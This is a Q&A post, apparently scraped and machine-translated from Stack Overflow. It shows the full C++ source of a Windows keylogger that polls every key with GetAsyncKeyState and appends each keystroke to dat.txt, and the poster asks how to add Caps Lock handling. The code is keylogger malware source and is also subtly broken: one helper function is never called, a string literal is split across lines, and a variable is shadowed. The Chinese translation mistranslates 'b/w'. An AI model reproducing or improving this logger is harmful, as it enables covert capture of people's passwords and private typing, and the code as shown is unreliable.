Hi I have this code which can record keystrokes and save it in dat.txt file, But it can't differentiate b/w upper and lowercase letters, It writes all the capital characters like "ABCDEFG" not "abcdefg".
(嗨,我有这段代码,可以记录击键并将其保存在dat.txt文件中,但是无法区分黑白大写字母,它会写所有大写字符,例如“ ABCDEFG”而不是“ abcdefg”。)
I need a code that checks whether capslock is ON/OFF. (我需要一个检查Capslock是否为ON / OFF的代码。)
And then save output as it is. (然后按原样保存输出。)
#define _WIN32_WINNT 0x0500
#include <Windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
void LOG(string input) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << input;
LogFile.close();
}
}
bool SpecialKeys(int S_Key)
{
switch (S_Key) {
case VK_SPACE:
LOG(" ");
return true;
case VK_RETURN:
LOG("
");
return true;
case VK_SHIFT:
LOG("[SHIFT]");
return true;
case VK_CAPITAL:
LOG("[CAPSLOCK]");
return true;
case VK_OEM_8:
LOG("!");
return true;
case VK_MULTIPLY:LOG("*");
return true;
default:
return false;
}
}
int main() {
char KEY = 'x';
while (true) {
Sleep(10);
for (int KEY = 0; KEY <= 255; KEY++) {
if (GetAsyncKeyState(KEY) == -32767) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << char(KEY);
LogFile.close();
}
}
}
}
return 0;
}
ask by Muhammad Ali translate from so 与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…